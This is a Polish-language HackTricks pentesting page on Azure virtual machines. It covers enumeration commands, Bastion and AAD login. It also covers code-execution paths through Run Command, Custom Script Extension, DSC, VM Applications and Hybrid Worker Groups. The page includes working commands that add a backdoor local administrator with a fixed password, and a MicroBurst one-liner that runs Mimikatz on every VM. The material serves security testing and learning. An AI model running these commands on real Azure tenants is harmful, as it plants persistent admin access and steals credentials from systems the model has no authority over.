Az - Virtual Machines & Network

Wesprzyj HackTricks

Podstawowe informacje

Z dokumentacji: Maszyny wirtualne Azure to jedne z kilku rodzajów zasobów obliczeniowych na żądanie i skalowalnych, które oferuje Azure. Zazwyczaj wybierasz maszynę wirtualną, gdy potrzebujesz większej kontroli nad środowiskiem obliczeniowym niż oferują inne opcje. Ten artykuł zawiera informacje na temat tego, co powinieneś rozważyć przed utworzeniem maszyny wirtualnej, jak ją utworzyć i jak nią zarządzać.

Informacje o sieci Azure

Sieci Azure zawierają różne jednostki i sposoby konfiguracji. Możesz znaleźć krótkie opisy, przykłady i polecenia wyliczające różne jednostki sieci Azure w:

Az - Azure Network

Azure Bastion

Azure Bastion oferuje bezpieczne, w pełni zarządzane rozwiązanie dostępu RDP (Remote Desktop Protocol) i SSH (Secure Shell) za pośrednictwem SSL przez portal Azure. Jest zintegrowany w ramach wirtualnej sieci Azure, umożliwiając łączność RDP i SSH z maszynami wirtualnymi za pomocą prywatnych adresów IP, eliminując konieczność używania adresów IP publicznych. Jest to bezpieczniejsza i wygodniejsza alternatywa dla tradycyjnych metod polegających na przypisywaniu adresów IP publicznych i konfiguracjach reguł NSG dla dostępu do maszyn wirtualnych. Programiści i personel IT mogą bezpiecznie uzyskiwać dostęp do maszyn wirtualnych z portalu Azure za pomocą przeglądarek internetowych, usprawniając proces dla środowisk deweloperskich i testowych.

Aby wyświetlić wszystkie hosty Azure Bastion w swojej subskrypcji, można użyć następującego polecenia:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Wymienianie maszyn wirtualnych

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Uruchamianie poleceń w VM

Logowanie AAD w VM

Istnieje możliwość umożliwienia dostępu dla użytkowników uwierzytelnionych za pośrednictwem AzureAD. Na przykład, próbując uzyskać dostęp do VM z systemem Linux: ssh nazwa_użytkownika@azure-corp.com@1.1.1.1 (ważne jest użycie adresu e-maila z azurecorp używanego podczas próby logowania), możesz otrzymać błąd:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Po prostu postępuj zgodnie z tymi instrukcjami, przechodząc pod adres https://microsoft.com/devicelogin i podając kod, użyj adresu e-mail i hasła jako poświadczeń, a będziesz mógł połączyć się za pomocą SSH (jeśli użytkownik ten ma wystarczające uprawnienia do tego: rola Logowanie Administratora Wirtualnej Maszyny lub Logowanie Użytkownika Wirtualnej Maszyny).

Uruchom polecenie

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Uruchom rozszerzenie skryptu niestandardowego

Rozszerzenia maszyny wirtualnej (VM) w Azure to małe aplikacje, które zapewniają konfigurację po wdrożeniu i automatyzację zadań na VM Azure. Na przykład, jeśli maszyna wirtualna wymaga instalacji oprogramowania, ochrony antywirusowej lub możliwości uruchomienia skryptu wewnątrz niej, można użyć rozszerzenia VM.

Dlatego, jeśli masz dostęp do zapisania go, możesz wykonać dowolny kod:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

StanKonfiguracjiDocelowy (DSC)

StanKonfiguracjiDocelowy (DSC) to narzędzie PowerShell podobne do Ansible, używane do konfigurowania hosta za pomocą kodu. DSC integruje się z Azure, umożliwiając przesyłanie określonych plików konfiguracyjnych. Te pliki muszą przestrzegać ścisłej składni. Warto zauważyć, że rozszerzenie DSC w Azure może wykonywać polecenia z plików spełniających określone kryteria formatowania, nawet jeśli składnia nie jest poprawna zgodnie ze standardami DSC, jak pokazano na dostarczonym rysunku.

Wykonanie tych poleceń ułatwia funkcja Publish-AzVMDscConfiguration w Az PowerShell. Wymagania obejmują plik .PS1 z zdefiniowaną funkcją, który musi zostać spakowany do pliku .zip. Nawet jeśli składnia może nie być dokładna dla DSC, kod i tak zostanie wykonany. Jednak rozszerzenie oznaczy status wykonania jako "niepowodzenie", a żadne wyniki z polecenia nie będą widoczne ze względu na nadpisanie statusu przez komunikat o błędzie.

Definicje Aplikacji VM

Definicje Aplikacji VM umożliwiają powtarzalne wdrażanie zaktualizowanych aplikacji na maszynę wirtualną Azure. Ten zasób obsługuje wdrażanie i aktualizację aplikacji na maszynach wirtualnych. Aby to skonfigurować, wymagane jest wykonanie kilku kroków, w tym użycie poleceń takich jak New-AzGalleryApplication i New-AzGalleryApplicationVersion w Az PowerShell.

Wykonanie aplikacji lub poleceń za pomocą tej metody obejmuje "VMAppExtension", który jest instalowany automatycznie, gdy aplikacja jest stosowana do maszyny wirtualnej. Rozszerzenie pobiera plik z określonego URI i nadaje mu dokładnie taką samą nazwę jak aplikacja, bez rozszerzenia. Aby poprawnie wykonać plik, pole "ManageActions" w wywołaniu interfejsu API REST musi być skonfigurowane tak, aby zmienić nazwę pliku na odpowiednie rozszerzenie. Po zakończeniu konfiguracji tej metody, struktura będzie przypominać tę przedstawioną na dostarczonym rysunku.

Jednak ta metoda wykonania jest stosunkowo wolna, zajmując około 3-4 minuty na wykonanie aplikacji lub polecenia. Pliki związane z tym procesem są przechowywane w określonych katalogach (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ dla kopii aplikacji i C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ dla statusu wykonania).

Obie techniki zapewniają unikalne sposoby wykonywania poleceń i wdrażania aplikacji w środowiskach Azure, każda z własnym zestawem wymagań, kroków i rozważań.

Grupy Hybrydowych Pracowników (HWGs) w Azure

Grupy Hybrydowych Pracowników (HWGs) to funkcja w Azure, która pozwala na wykonanie Runbooków skonfigurowanych w Koncie Automatyzacji na maszynie wirtualnej Azure (VM), która jest częścią wyznaczonej HWG. Wykonanie to jest ułatwione dzięki rozszerzeniu zainstalowanemu na VM, które wdraża kod Runbooka na VM. Istotnym aspektem tego procesu jest to, że faktyczne poświadczenia nie mają znaczenia podczas wykonania, ponieważ kod jest uruchamiany z podwyższonymi uprawnieniami, konkretnie jako SYSTEM lub root, jak zilustrowano na dostarczonym rysunku.

Ważnym szczegółem dla osób korzystających z maszyn wirtualnych z systemem Windows 10 jest konieczność określenia wersji PowerShell dla Runbooka. Powinna ona być ustawiona na uruchamianie jako wersja PowerShell 5.1 zamiast 7.1. Wymaganie to wynika z faktu, że PowerShell 7.1 nie jest domyślnie zainstalowany na tych maszynach wirtualnych, co prowadzi do niepowodzenia wykonania skryptu, jeśli określono wersję 7.1.

Ta funkcja Azure oferuje solidną metodę automatyzacji i zarządzania zadaniami w środowiskach hybrydowych, umożliwiając scentralizowane zarządzanie i wykonywanie zadań na maszynach wirtualnych Azure.

Odnośniki

Wsparcie dla HackTricks

Last updated